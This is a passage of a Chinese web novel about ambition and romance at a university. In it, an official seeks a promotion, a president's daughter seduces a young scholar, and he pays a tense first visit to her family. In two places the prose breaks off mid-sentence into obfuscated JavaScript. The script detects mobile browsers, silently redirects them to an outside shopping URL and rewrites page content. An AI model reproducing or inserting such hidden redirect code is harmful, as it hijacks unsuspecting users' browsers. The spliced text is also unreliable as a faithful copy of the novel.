“难道……吴若甫也听到了那些谣传?”这个念头一冒出来,秦冰纶的心跳随之急促起来。吴若甫可是在楚江大学可是许继武都敬他让他三分的人物,如果他真的因为这些风言风语而产生了误解,那对转正的影响可就太大了,甚至对自己将来进入新领导班子的梦想带来毁灭性的影响。 她越想越觉得可怕,一刻也不能再等待。匆匆整理了一下衣着和妆容,又匆匆地赶到了吴若甫的办公室。 秦冰纶选择了以汇报近期学院工作作为切入口。讲得条理清晰,重点突出。吴若甫听得认真,甚至还不时在本子上做记录。 工作汇报完后,秦冰纶主动用感性的口吻诉说着女干部工作中的种种不易和辛酸,语气拿捏得恰到好处,既表达了意思,也烘托了委屈。 秦冰纶的这点深浅在老江湖的吴若甫面前一眼看穿。他“呵呵”笑了起来,语气听起来很随和:“小秦啊,你的能力和贡献有目共睹的嘛。还不至于有这么多苦水要倒吧?” 秦冰纶经不住软刀子的拉扯,沉不住气的她干脆主动出击,声音里甚至带着一丝哽咽:“不瞒吴校长您说,这些年,我秦冰纶风风火火在前面冲锋陷阵,为了工作拼尽全力,可身后……可没少被人放着冷箭中伤啊!”她巧妙地将“暗箭”换成更具象的“冷箭”,强调了自己的弱势和委屈。 吴若甫故作惊讶,身体微微前倾:“哦?还有这样的事?” “怎么没有哇?”秦冰纶见引起了对方的注意,立刻趁热打铁,“我昨天刚出差回来,就听人说起,不知道是谁那么恶毒,竟然编排我和院里男教师的绯闻。吴校长,您说这有多可恶?多寒心?我作为院长,关心督促青年教师的成长,难道也有错吗?”她故意隐去了顾明远的名字,但“院里男教师”这个说法,其实是有意无意地在给吴若甫交底,表明自己知道谣言所指,并且问心无愧。 为了取信吴若甫,秦冰纶几乎要拍着胸脯表态:“吴校长,我是您一手培养起来的。您是最了解我的,我秦冰纶再怎么糊涂,也绝对糊涂不到这一步啊!我的一切都是学校给的,我怎么可能做出这种自毁前程、给您丢脸的事情呢?” 秦冰纶这番话无异于给吴若甫吃了一颗定心丸。他脸上的笑容变得真切了许多,高兴地用手梳理了一下头发,语气温和却带着不容置疑的力量说道:“冰纶啊,你说得对。只要自己行得正,就不怕影子斜嘛。清者自清,浊者自浊。组织上是信任你的,我也是信任你的。没事,回去好好抓工作,不要受这些闲言碎语的影响。转正的事情还是相信组织嘛。” 彷佛是为了证明自己对秦冰纶的放心,一周后,秦冰纶如愿当上了历史学院的院长。然而,她的内心却五味杂陈。转正的兴奋只有须臾,匿名信的惊吓却一直在萦绕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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擒贼先擒王,擒王先擒身。一个连她自己都感到震惊的大胆想法突然从心底冒了出来:趁热打铁,今晚就去“征服”顾明远,把生米煮成熟饭。这个念头刚一冒出,吴雅娟自己都感到一阵脸热心跳:自己这样一个一向矜持的“大家闺秀”,竟然能生出如此大胆的想法来。 一种强烈的冲动迅速压制了残存的羞耻心。她坐在梳妆台前,开始精心地打扮起来。因为不满意自己略显灰白的脸色,便拿起腮红刷蘸取足量的绯红色腮红后,在双颊上来回敷染。脸色红润后,又觉得嘴唇薄得不够丰润,便取出那支昂贵的莓果色口红,对着镜子在嘴唇上小心翼翼涂抹起来。起身在镜子前转了几圈,对自己的身材倒很满意,仔细审视着镜中曲线玲珑的身体,故意将臀部往上翘了翘,然后换上一件能很好勾勒身材曲线的束腰连衣裙。做完这一切,她对着镜子深吸一口气,故作淡定地以“出去散步消食”为借口出了门。 下得楼来,吴雅娟刻意选了一条较为僻静昏暗的小径,心跳加速地向着那栋熟悉的“筒子楼”潜行而去。夜风微凉,却吹不散她脸上的燥热和心中的灼热。 钟德君的愤怒搬离给顾明远带来的直接好处,就是拥有了一个不受干扰的私人空间。此刻,灯光下的他正神情专注地伏案疾书,全身心地投入到他人生第一部学术专著的最后校对工作之中。 虚掩的房门被从外面轻轻推开,一股浓烈而馥郁的高级香水味率先弥漫进来。吴雅娟悄无声息地闪身而入,又反手轻轻将门带上。 顾明远被这突如其来的香雾从书稿中猛地拽了出来。他讶异地回头,看见是吴雅娟,更是惊讶地从那把“咿呀吱吜”作响的老旧藤椅上弹了起来,一时间有些手足无措。 吴雅娟那种因家庭而膨胀的自信此刻展露无遗。她毫不拘束地坐在顾明远那张硬邦邦的木板床上,用一双眼睛毫不避讳地直勾勾地盯着他,嘴角含着一丝若有若无的、带着挑衅的笑意。 顾明远身体僵硬,机械地问道:“你……你怎么来了?” 吴雅娟眉梢轻轻一挑,那双略显英气的剑眉如刀锋般斜斜上扬,反问的语气带着理所当然的霸气:“我为什么不能来?楚江大学有哪里是我吴雅娟不能去的吗?”她说话时的语气和神态,彷佛在无声地告诉顾明远:在这片土地上,我可以任意纵横驰骋,何况你这小小的宿舍? 她不经意间流露出的这种霸道和优越感,微微刺痛了顾明远敏感的自尊,一丝不快在他心底掠过,但他不敢轻易地表露在脸上,只是沉默着。 吴雅娟似乎察觉到了他的那丝不自然,目光扫过桌子,看到了那罐橙色的健力宝,便用带着点娇嗔的语气指了指:“你总不能……就让我这么干坐着吧?连口水都舍不得给?” 顾明远像是才反应过来,有些忙乱地拿起健力宝递到吴雅娟手中。就在递接的瞬间,吴雅娟的手指“无意”地碰到了他的手背。一阵充满奶油般甜腻质感的香水味混合着女性身体的热力扑鼻而来,让顾明远的心跳骤然漏了一拍,有些恍惚失神。 看着他有些呆愣的样子,吴雅娟“噗嗤”一声笑了出来,语气中多了一丝娇媚和戏谑:“怎么?我是老虎哇?还能吃了你不成?”说罢,将健力宝底了回来,眼波流转:“你倒是帮忙打开拉环呀。” 顾明远心里松了一口气,暗骂自己神经过敏,手上用力,“嘭”的一声熟练地打开了拉环,再次递给她。 吴雅娟接过饮料,小口啜饮着。她柔和的语气、流波的眼神以及身上浓烈到几乎令人窒息的香水味,在这狭小逼仄的房间裡弥漫开来,营造出一种与窗外清冷夜色格格不入的曼妙氛围。 顾明远的心弦不免有些荡漾起来。他下意识警觉地望了望房门。这个细微的动作被吴雅娟看在眼里,起身径直走向门边,“咔哒”一声,将房门从里面反锁。 这一声锁响,像是一个明确的信号,瞬间让房间里的空气变得无比粘稠和炙热。春意融融骤然升级为一种一触即发的紧张和渴望。 两人似乎都能听到对方逐渐变得急促的呼吸声,那声音响得似乎可以震碎本就不太结实的房门。 吴雅娟眼中闪烁着炽热的光芒,一步步地向顾明远靠近。本来脑子里还残存着一丝挣扎和犹豫的顾明远,在那双波光潋滟的眼睛以及热力四射的胴体面前,心中的防线早已土崩瓦解,只觉呼吸一滞,仿佛有风自心底卷起,携走所有声响,只余一片嗡鸣在耳际回荡。 吴雅娟的气息已染上薄雾般的温度。她伸手,指尖掠过他腰间,声音像沉入水底的丝绸:“明远……今夜……”,余音未尽,已化作一道轻浅的叹息。 视觉和听觉上的双重冲击让顾明远感到一阵剧烈的眩晕和难以抑制的口干舌燥。当他握住吴雅娟的时候,她轻轻地“啊”了一下,瘫软在床上,喉间溢出清亮的呻吟,十指深深陷进顾明远的背脊。 很快,暖流冲破薄冰,春河漫过堤岸。两人都成了溯游的鱼,在狭窄而温存的水域里相抵相缠。寂静的房间里,充塞着种子破土时无声的轰鸣。 窗外,远处城市的霓虹灯光,透过玻璃窗,在天花板上反射出斑斓而迷离的颜色。 吴雅娟侧躺着,手指无意识地在顾明远汗湿的胸膛上画着圈,看着那些晃动的光晕,她的眼里满是得偿所愿的、动人的波光,那光芒深处,隐藏着一丝难以察觉的、属于猎人的精明和算计。 14. 初次登门 在余丹凤的软硬兼施和吴雅娟的“强买强卖”下,顾明远终究只能选择迈出标志性的一步:登门拜访吴家。 在源自乡下老家的模糊认知里,男女双方第一次正式上门是一件堪比重大仪式的庄重之事,这关乎认可、关乎礼数乃至关乎基调。连续两个晚上,顾明远辗转反侧,难以成眠,仿佛身下不是铺着棉褥的床板,而是灼热的烙铁。 “该选购怎样的礼物才算得体又不失分寸?” “衣着是正式些好还是随意些更显自然?” “面对吴校长可能的提问,该如何作答才能既显真诚又不失深度?” ……等等这些问题,如同无数只失控的猫仔在他脑海里尖叫着横冲直撞,搅得他心神不宁。 穷尽思虑仍不得其法,顾明远只好向二姐顾小满求助。别看顾小满是个地道的乡下女人,但妇女主任的历练让她的智慧和主意一点不少。听完弟弟充满焦虑的叙述,顾小满“扑哧”笑了出来:“我看你啊,说到底还是被校长家的气势给唬住了!怕么事唦?小吴不过是个电大毕业的成教生,我们家明儿上正儿八经的清北高材生,配她那还不是绰绰有余的呀。大大方方的,别显得低人一等似的。” 二姐的话一针见血道破顾明远内心最深处的困窘。是啊,这几天患得患失、忐忑不安,可不都是因为自己的出身在作祟吗?二姐的话像一把锤子敲碎了他心外围裹的一层硬壳,让他豁然开朗。 战略层面有了底气的顾明远就战术问题继续向二姐请教。顾小满沉吟了片刻说道:“穿衣服这事儿,我看你就按平时来,干净、整齐、大方就好,别特意去搞什么西装革履,反而显得拘束、见外。不过呢,第一次上门礼物还是要讲究点。校长那样的人家,估计啥也不缺,你倒是可以悄悄问问小吴,她爸妈平时有什么喜好没有,投其所好总不会错的。” 顾小满刚说出“喜好”二字,顾明远立刻知道该准备什么了。 周六一大早,天色微熹,顾明远就已醒转。昨夜依旧睡眠浅薄,但心境已与之前的焦虑有所不同。他起身拉开窗帘,只见窗外碧空如洗,一望无际的蔚蓝仿佛一块巨大的澄澈琉璃。几缕轻盈剔透的薄云,如同仙女随手挥出的纱巾,悠然飘荡,更衬出天空的明净与高远。受了流云飘移的诱惑,几只云雀欢快地在蓝色的天幕下穿梭往来,划出一条条短促而亮丽的轨迹。楼下那片高大茂密的凤尾竹林里,画眉鸟清脆婉转的鸣叫声丝丝入扣,宛如技艺精湛的小提琴手在晨曦中演奏着恬静的乐章。 顾明远的心情变得澄明、爽朗起来,甚至生出了一丝淡淡的期待。他深吸一口清晨凉爽的空气,翻身下床,再次仔细检查了一遍昨天傍晚精心购置的礼物,又在镜子前练习了几次脸上的表情,掐算着时间下了楼。 楚江大学东南角,绿树掩映、翠竹环抱之中,悄然矗立着一栋颇具气势的砖红色楼栋。这就是楚江大学人所共知的“校长楼”,也有人戏称其为“紫禁城”。“紫禁城”是楚江大学无数处长、院长、研究所所长们心中梦寐以求、渴望入住的圣地,毕竟它是楚江大学权力与地位的标志性建筑。 “紫禁城”的前方,是一片精心设计开挖而成的人工荷塘。此时已是深秋,水面上只余下些残荷枯叶,略显萧瑟寂寥。楼宇背后,则是一座人工堆砌的小山,山顶上建有小巧却精致的琉璃瓦亭子,遍植松柏、红枫等观赏树木,让“紫禁城”与周围那些整齐划一、色调沉闷的铁灰色建筑相比,显出更多的生机和别致。 当脚步越来越接近这栋砖红色楼宇时,顾明远分明感受到这个没有生命的建筑体正“滋滋”地向外辐射着一种无形的、强大的气场。这气场混合着权力、学识、地位以及某种难以言喻的优越感,沉甸甸地压迫过来。他的心跳不由自主地加速,如同被用力擂响的战鼓,急促而有力,撞击着胸腔,声音大得仿佛自己都能听见。他感觉道路两旁的树林间、静谧的草丛中、甚至那些拉着窗帘的窗户后面,似乎有千百双热辣而审视的眼睛正在窥探着自己这个陌生的闯入者。他的脑海中不受控制地反复浮现出吴若甫校长在主席台上不怒自威的形象,同时一遍又一遍地温习着那些应对各种可能“拷问”的答题技巧。 不知不觉间,他已经来到了小山脚下。顾明远抬腕看了看表,距离约定的时间尚有十来分钟。他拐进两丛茂密凤尾竹中的木质条椅上,试图利用这宝贵的片刻来平复剧烈的心跳。 大约还剩三分钟的时候,顾明远深吸一口气,尽量迈着沉稳的步子向“紫禁城”的门洞走去。 吴雅娟和余丹凤正站在楼前一棵枝繁叶茂、亭亭如盖的大樟树下等候着他。吴雅娟显然是经过了一番精心的打扮。她身着一条款式新颖的长及膝盖的牛仔裙。脸颊上轻扫淡粉色的胭脂,使得她原本略显苍白透明的脸色因这抹红晕而焕发出生机与光彩。也许是眼线精心勾描的效果,顾明远第一次发现,吴雅娟眉宇间似乎隐隐透露出一种以往未曾留意到的英气。 眼尖的余丹凤一眼就看见了顾明远手里的礼物袋,便不由分说地抢了过去,语气中带着几分熟稔的霸道:“来来来,先让我瞧瞧,看看你这个大秀才第一次登门,给我们领导准备了什么稀罕宝贝?”拆开包装一看,里面竟是一方古朴的砚台和一盒毛笔,余丹凤脸上闪过一丝难以掩饰的失望,小声嘀咕起来。吴雅娟脸上却绽放出惊喜的笑容,甚至带着点赞赏意味地拍了一把顾明远的肩头:“行啊顾老师!老爸肯定喜欢!” 三人刚踏上楼梯,只听见三楼传来一声铁门开启的“吱呀”轻响。一位腰间系着干净碎花围裙、看上去五十岁上下、面容和善的中年女人正满脸含笑地立在楼梯口,热情地迎候着他们。顾明远不敢抬头直视对方,便条件反射般地叫了一声“伯母好”。 余丹凤忍不住嗤笑起来,吴雅娟用力扯了扯顾明远的袖子低声嗔怪:“看清楚了再叫呀!这是我家乡下过来帮忙的方阿姨。” 顾明远顿时窘得恨不得找个地缝立刻钻进去。 刚一跨进门槛,余丹凤像是得胜回朝、凯旋班师的将军提高了嗓门亲昵地喊道:“吴校长!万老师!我可把人带来啦!” 话音未落,里屋缓缓走出一位体态丰腴、面色红润、戴着金丝边眼镜、气质雍容的女人。顾明远仔细确认后,连忙微微躬身说道:“万老师好。” 万素琴脸上的表情有些刻意的矜持,只是淡淡地说了句“来啦”,显得有些疏离和保留。 万素琴看似冷淡这冷淡的态度,像一缕无形的寒风,瞬间顾明远刚刚放松些许的神经再次紧绷起来。正在焦急间,厨房门口传来一声俏皮而略带戏谑的调侃:“哟,这不是鼎鼎大名的顾大才子吗?怎么进了门像个木头桩子似的傻站着呀,这可不像你在课堂上游刃有余的样子嘛。” 循声望去,原来是吴雅洁,顾明远挤出些僵硬的笑容和她打了声招呼。 客厅里的气氛有些沉闷和尴尬。红木家具、名人字画乃至博古架上的名贵瓷器,都在无声地散发着一种冷冽的和带有距离感的气息。 “妈,这位是顾明远。”吴雅娟有意将顾明远推到万素琴面前,试图打破僵局。 万素琴上下打量了顾明远一遍,语气平淡中添了些温度:“嗯,以前见过呀。小顾,别站着了,坐吧。”她指了一下那张宽大的红木沙发。 顾明远几乎是挪着步子挨着光滑冰凉的红木沙发坐下。 吴雅洁站在一旁,故意用一种探究的眼神打量他,嘴角始终挂着一丝若有若无、让人捉摸不透的笑意:“真是稀奇了,听说顾老师口才了得,怎么到了这里,倒成了锯嘴的葫芦——哑巴了?” 吴雅娟狠命地掐了一下吴雅洁的胳膊:“没大没小的。怎么说话呢?” 这时,方阿姨笑眯眯地递上一杯刚沏好的热茶。 顾明远口中连声道谢地双手接过。不料茶杯壁极烫,猝不及防的他险些失手将茶杯摔了,只好硬生生忍住那灼痛感,稳稳捧住,指尖瞬间就红了一片。 就在顾明远窘迫得不知如何是好的时候,里屋传来一声有力而清晰的咳嗽声。 这声咳嗽,如同戏台开演的锣响,预示着真正主角的登场。 吴若甫出现在书房门口时,客厅里的气氛瞬间为之一变。余丹凤反应最快,急忙上前两步,殷勤地虚扶着他到正中间的沙发上坐下。 事实上,邀请顾明远上门正是吴若甫本人的主意。距离他正式卸任校长职务只剩一年多一点的时间,女儿的婚姻大事是眼下吴若心中的头等大事。他清楚,退休前和退休后,无论是可用的资源和可得的礼金,那是有天壤之别的。 吴若甫有意想先冷一冷顾明远,故意将目光投向垂手恭立一旁的余丹凤笑道:“余处长今天怎么这么有空,特地来看望我这个快要退休的老家伙啦?”话语间带着几分自嘲和试探。 余丹凤立刻涨红了脸故作嗔怪地说道:“哎哟我的吴校长,您说这话我可就不爱听了!什么快要退休?您这精气神,这威望,再干十年都没问题!再说退一万步,您就算哪天真退下来了,在我们大家伙儿心里,您也永远是我们的校长,是楚江大学的定海神针!”她的话语又快又急,充满了夸张的热度。 万素琴似乎也对丈夫这话不太满意,翻了个白眼接口道:“就是,你就那么盼着退休哇。” 吴若甫这才把目光转移到顾明远的身上:“小顾,你看看她们,不懂得‘一觉闲眠百病消’的妙处嘛。” 顾明远听出这是白居易的诗句。心里吃不准吴若甫是不是在试探自己,只好虚浮着应付:“白居易其实也有‘百岁无多时壮健’的豪迈。” 两人文绉绉的猜谜式的说话让万素琴皱起了眉头,她起身关掉正在放松屠洪刚《霸王别姬》的录音机后说道:“大家安安静静聊聊天嘛。” 音乐声戛然而止。顾明远打了一个激灵:这应该是面试开始的信号吧。主考官无疑是稳坐中央、不怒自威的吴若甫校长;主问人很可能是不动声色、目光审视的万素琴老师;余丹凤和吴雅洁大概算是监考和旁听的角色。作为考生,顾明远来之前酝酿了许久的自信如同春日娇嫩脆弱的花蕾,在凛冽寒风的侵袭下瞬间便萎靡了。他尽力坐得笔直,像一尊雕塑,额头上不可控制地冒出细密的汗珠。他不时拿眼角的余光瞟向吴雅娟,她是眼前唯一能够提供帮助的人。 果然,万素琴开始看似随意地、实则步步深入地打问起顾明远农村老家的各种情况。从母亲是因何种疾病去世,到身为民办教师的父亲退休待遇如何、身体可否安康,再到两个已经出嫁的姐姐各自的家境……问题细致得如同梳子一样。 这些问题像一根根细针精准地刺探着顾明远内心最敏感。尽管心情紧张,他并不打算有任何掩饰,一五一十地简略作答。 看见顾明远的脖颈处全是汗珠,吴雅娟心急如焚,不停地试图打断母亲的盘问和余丹凤多余的插话。几个女人间的七嘴八舌,话语如同碎瓷碗里倒核桃,又脆又急,噼里啪啦地响成一片,这让一旁静静观察的吴若甫有些嫌烦,干脆起身瞄了顾明远一眼:“小顾,别在这里听她们絮叨。走,我们去书房里聊聊。” 顾明远如蒙大赦,赶紧跟在吴若甫后面走进了书房。 书房宽敞明亮、古雅庄重。首先映入顾明远眼帘的,是那张阔大的、光可鉴人的楠木写字台,上面整齐有序地摆放着端砚、湖笔、宣纸、墨锭这上好的文房四宝;靠西墙是一排高及屋顶的实木书架,占据了整整一面墙的空间,里面密密匝匝地码放着许多线装的古籍书册和精装学术著作。 顾明远心里也不由得生出几分窃喜:将来有机会一定要好好浏览一下书架上的宝藏。 吴若甫有意在书桌前的藤椅上坐下,将顾明远的目光吸引到桌上刚刚临好的苏东坡《寒食帖》。他要考较一下这位已有些声名的年轻人:“这是我刚才随手临的。小顾,你来看看,顺便给提点意见?”虽是谦辞,眼神里却分明带着期待和审视。 顾明远心里顿时惶惑起来。尽管知道《寒食帖》被誉为“天下第三行书”,但知道自己对于书法的鉴赏其实只懂些皮毛而已,远远谈不上精通。 吴若甫的表情显然不是在开玩笑。顾明远只好硬着头皮,假装俯身凑近认真欣赏临帖,脑子飞速运转紧急翻找着过去阅读相关书籍时留下的、关于书法评价的专业词汇存货,同时极力回忆《寒食帖》原帖的神韵。片刻之后,他斟酌着开了口:“吴校长您谦虚了。虽然我不太懂书法,但您的临作应该是深得原帖的神韵。尤其是这用墨,浓淡相宜,很有些古朴之气;结体上取横扁之势,又多了点宽博之气;字势的偃仰倾仄也把握得恰到好处。”所谓的“用墨”、“结体”、“偃仰”这些词,全都是在脑海里“搜刮”来的存货现炒现卖。 吴若甫听完,心中十分满意的神色,但嘴上还是坚持要顾明远提些意见。他知道,能够提出意见来,既能看出年轻人的功夫,更能看出年轻人的骨格。 顾明远被逼无奈,只好随口编了一个看似无伤大雅的缺点:“非要我说的话……,我觉得……是不是……枯墨运用得稍微多了一点?” 没想到,这个敷衍的“批评”却意外地得到了吴若甫的表扬:“哦?枯墨多了点?嗯……有道理,有道理!看来顾老师对书法还是很有研究!”说罢,指了指桌上的宣纸:“有没有兴趣也来挥毫一幅?” 顾明远吓得心里哆嗦,这回拒绝的语气格外坚决。惊慌失措的样子倒把吴若甫逗笑了,也不再强求。示意顾明远在书桌对面的扶手椅上坐下,自己一边慢悠悠地翻看着《寒食帖》原帖,一边仿佛漫不经心地、如同闲谈般问道:“我听周副校长提起,你硕士阶段主攻的是宋代文化史方向,而且对苏东坡其人其文还有很深的研究?”这个问题,隐隐带着将话题从单纯的书法引向更广阔领域的意图。 这个问题无异于打开了顾明远最熟悉的开关。情绪一下子调动了起来,之前的紧张感暂时被抛到脑后,开始引经据典有意识卖弄起自己的“独门功夫”。 年轻人都有忘乎所以后无法掌控住节奏的毛病。在顾明远侃侃而谈的时候,吴若甫的眉头几不可察地微微皱起了两次。他有意将顾明远引向书房,卖弄自己的书法尚在其次,他是想借机要“驯化驯化”这个据说“两耳不闻窗外事”的年轻人。 吴若甫轻轻咳嗽了一声,指了指顾明远面前的茶杯,温和却不失力度地打断了他:“口渴了吧?先喝点水。”停了片刻后缓缓地说道:“你刚才讲的这些大多侧重于苏东坡在文学艺术上的成就。不过——”他话锋一转,目光变得更为深邃:“不知你注意到没有,苏东坡的政治抱负和政治才能其实同样宏大和卓越。你看他在地方任职时,兴修水利、赈济灾荒、发展生产,政绩斐然。这也正是后世历代许多知识分子,不仅仰慕其文采,更将其奉为理想人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904215|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格偶像的一个重要原因罢。毕竟,中国传统士大夫的最高理想,是‘修身齐家治国平天下’,而非仅仅吟风弄月。”他的话语中,开始蕴含更深层的意味。 吴若甫这番话,勾起了顾明远进一步展示自己学识广博和思想深度的欲望:“是啊是啊,吴校长您说得太对了!苏东坡确实是古今文人心目中一个近乎完美的偶像。我觉得吧,他这个人呀,最难得的是活得特别真实、特别饱满,像一锅始终滚沸的开水,一生都热气腾腾的,生命力极其旺盛,到哪儿都能冒出精彩的泡泡来。他那句‘人生如逆旅,我亦是行人’,真是将人生的漂泊与无常看得通透,却又表达得如此豁达潇洒。他这人吧,活得特别‘真’,真正活出了我们很多人心里那个最想当、却又常常因为现实种种束缚而不敢去做的自己。” 顾明远充满个人色彩的诠释让吴若甫多了一丝担忧甚至反感。在这位位高权重的校长看来,锋芒毕露和夸夸其谈实在是将来成长路上的大忌甚至是致命的弱点。 吴若甫放下手中的放大镜,目光中透出些许审视的寒芒:“那么,依你小顾看来,当下的知识分子,特别是像你们这样身处高校年轻人,更应该从苏东坡身上汲取怎样的启示呢?”这个问题,直指核心,带有强烈的现实关照。 答案早已在藏在顾明远心中:“我认为,最重要的是学习他在任何艰难逆境中,都能保持的那种乐观、洒脱的精神态度。” “嗯,逆境中的洒脱。说得很好。”吴若甫缓缓点头,表示认可,但随即话锋如同锥子般直刺而来:“那你想过没有,以苏东坡之旷世才华,为何一生仕途总是处在不断的逆境之中呢?屡遭贬谪,颠沛流离。这背后的深层原因,究竟是什么?” 吴若甫的这个提问有些出乎顾明远的意料。语塞了片刻后用不太确定的口气答道:“这个……史学界多有讨论。大概……主要还是源于当时的党争激烈,政局反复无常吧?当然,也和他个人的……性格,有比较大的关系。”最后一句,他说得有些迟疑。 “是啊。性格决定命运。古今皆然,概莫能外。”吴若甫意味深长地重复了一句,目光深沉地看着顾明远:“以苏东坡的政治才华,若非性格所限,早该是出将入相了。他之所以一生仕途坎坷,壮志难酬,除了外部政治环境的恶劣,其自身过于直率、不善韬光养晦、甚至有些恃才傲物的性格‘缺陷’,恐怕也是不容回避的重要因素。这一点,尤其值得你们这些在高校工作的年轻人引以为戒的。”他的话,已经带有了明确的指向性和敲打的意味。 顾明远隐隐约约地察觉出了吴若甫这番话里的弦外之音。尽管内心更倾向、更珍视苏东坡人格魅力中最闪光、最珍贵的部分,但理智告诉他,今天这样的场合,是不能喝未来的岳父去一较虚实的。 吴若甫似乎看穿了他内心的不服,端起茶杯,轻轻抿了一口,仿佛随口问道:“如果让你再教学科研之外承担些管理方面的工作,你怎么看?” 顾明远彻底明白了吴若甫之前借苏东坡之事敲打自己的真正用心。他壮着胆子试着说道:“吴校长,我觉得吧。一个人的精力毕竟是有限的。尤其现在教学科研任务非常繁重,如果做不到心无旁骛,最后可能两头都做不精、做不好。”他的声音因为紧张而显得有些干涩,但努力表达着自己的想法。 吴若甫的眉头愈发锁紧了些,轻轻放下茶杯说道:“年轻人呐,看问题要看得远一点、全面一点。周副校长对你评价很高,认为你是个复合型人才。今时不同古代。年轻人嘛,要善于运用自己的才华,让才华发挥出最大的价值,成就更大的事业。”他顿了一下,目光扫过书房里满架的书籍:“其实呀,象牙塔里的学问和管理,从来就不是截然对立、非此即彼的关系。处理好了,它们完全是相互成就、相得益彰的。不要想当然地将它们割裂开来,对立起来嘛。你看你们的周校长不是副校长兼博士生导师的嘛,将来搞不好还要接我的班的呢。” 吴若甫这番半是教训半是引导的话像一盆冷水,将顾明远心中残存的那点轻快和自信销蚀得所剩无几,骨子里感到一种莫名的压抑和不适。 正在无所适从之际,虚掩的书房房门被人从外面轻轻推了开来。 一直悄悄守在书房门口偷听的吴雅娟敏锐地察觉到里面的气氛,便以开饭为借口,推门进来为顾明远解围。 方姨显然使出了浑身解数,精心准备了一桌极为丰盛的菜肴。吴若甫嚷着让老伴取来一瓶好酒,显然准备进一步探探顾明远的酒品。 万素琴对顾明远的农村出身和清贫的家庭背景心存芥蒂,便将原本备好的茅台换成了一瓶已经开封的“西凤”。吴雅娟脸上闪过一丝不快,悄没声息地将“西凤”又换回了茅台。 就再顾明远纠结要不要第一个站起来给吴若甫敬酒时,余丹凤已经抢先站了起来。她双手举着酒杯,绕过半个桌子,走到吴若甫座旁,几乎呈九十度地向吴若甫深鞠了一躬,声音异常热情和谦卑:“吴校长!您坐着,您千万别动!这第一杯酒,无论如何都得我先敬您!我干了,您随意,您随意就好!”说完,一仰头,极其豪爽地将杯中那点白酒一饮而尽,亮了下杯底。似乎觉得一杯不足以表达她的敬意,余丹凤拿过酒瓶又给自己倒满,嚷嚷着非要敬第二杯。吴若甫笑着摆手问道:“小余啊,这又是为什么还要敬呀?一杯心意到了就行了嘛。” 余丹凤的眼眶一下子潮红起来,声音也带上了几分哽咽:“吴校长!您这话说的!这第二杯,更是非敬不可!您对我,那是知遇之恩,再造之情啊!要不是您当年力排众议,我余丹凤今天只怕还是一个被人瞧不起的小科长呢。您说,这酒我能不多敬您几杯吗?这恩情,我永远记在心里!”她说得声情并茂,几乎要声泪俱下。 吴雅娟在一旁看得直皱眉头,赶紧拿回酒瓶,轻轻捅了捅身边的顾明远,低声催促:“敬酒呀。” 顾明远这才仿佛被点醒,赶紧端着酒杯走到吴若甫面前,恭恭敬敬地敬了一杯。吴雅洁在一旁似乎嫌不够热闹,拽了一把顾明远的胳膊,用一种半开玩笑半认真的语气高声说道:“哎,小顾,你这酒可不能就这么白喝了,怎么也得给我伯伯和娘娘表个态吧,啥时娶我姐呀?” 余丹凤趁机附和。毫无准备的顾明远有些发蒙,两颊涨得发紫,下意识看了吴雅娟一眼。吴雅娟眼神里似乎也满含着某种期待和羞涩,并没有要替他解围的意思。 看见顾明远局促着不说话,万素琴的脸色沉了下来。余丹凤见状,干脆端起酒杯,自作主张地代表顾明远说道:“哎呀,看把小顾给害羞的!还是我来说吧。吴校长,万老师,你们放心!现在快十二月了,我看啊,最晚春节过后,怎么的也得让他们老顾家来武汉提亲下聘礼。你说行不行?小顾?” 余丹凤已经做了决定,顾明远哪敢说出半个“不”字。 余丹凤如此“懂事”的自作主张恰好遂了吴若甫的心愿:年底提亲,明年五一节举办婚礼,然后明年九十月自己功德圆满地退休。想到这些,吴若甫主动端着杯子站了起来朗声说道:“好了好了,今天说得够多的了。来来来,动筷子,动筷子!这么丰盛的菜,方姨辛苦做的,再不抓紧吃可就都要凉了,那才是真的可惜了!” 在热闹而又喜庆的气氛中,顾明远却感觉自己仿佛置身于一个无声的漩涡中心。登门第一关看起来似乎过了,但总感觉有些东西才刚刚开始。 15. 冰释嫌隙 深秋的太阳有些慵懒,才下午五点钟就已然失了气力,悄无声息向鳞次栉比的高楼后面躲去,只在天边留下一片模糊昏昧的暖黄色余烬。 下班时分,天光已经开始暗沉下来。顾明远裹紧了外套,走出了教研室。经过图书馆门前时,看见那硕大的玻璃门内倾泻出的明亮灯光,泼洒在门前冷硬的水泥台阶上,光色稠得仿佛徒手都能捞起一把来。 正在埋头赶路,忽然听见图书馆门前的台阶上方有人高声叫他的名字。抬头循声望去,只见卞同峰那瘦长的身影正被头顶惨白的路灯灯光照射着,拉出一道扭曲变形的长影,沿着台阶缓缓地“蠕动”下来——他走路的姿势总让人觉得有些别扭,仿佛四肢不甚协调。 卞同峰此人性情孤僻,加上言行有些偏激,在校园里几乎没什么朋友,总是形单影只像一只离群的孤鸟。顾明远是少数几个卞同峰愿意、也能够聊天的人之一。 此刻,卞同峰手中捧着几本厚厚的大部头书籍,几乎是蹦跳着从台阶走廊上下来,临到顾明远跟前时,还特意扬了扬手中的书,语气带着惯有的、略显刻意的兴奋:“好书啊!刚借的,回去得好好消化消化。” 顾明远知道卞同峰有爱显摆自己读书品味的习惯,很给面子地顺手抽出一本,就着昏暗的路灯光仔细看了看书名:“哟,同峰,可以啊!威廉·维克里,去年刚得的诺贝尔经济学奖吧?你这速度够快的,专著就已经看上啦?” 这话正中卞同峰下怀。他脸上立刻泛起光来,趁机炫耀道:“这算什么!细数下来,十几个诺贝尔经济学奖得主的代表作,我差不多都啃完了。我可不像你那位室友,”他话锋一转,语气瞬间充满鄙夷:“整天不学无术,就知道围着领导打转,变着法儿拍马屁,哪还有点读书人、教书人的样子!” 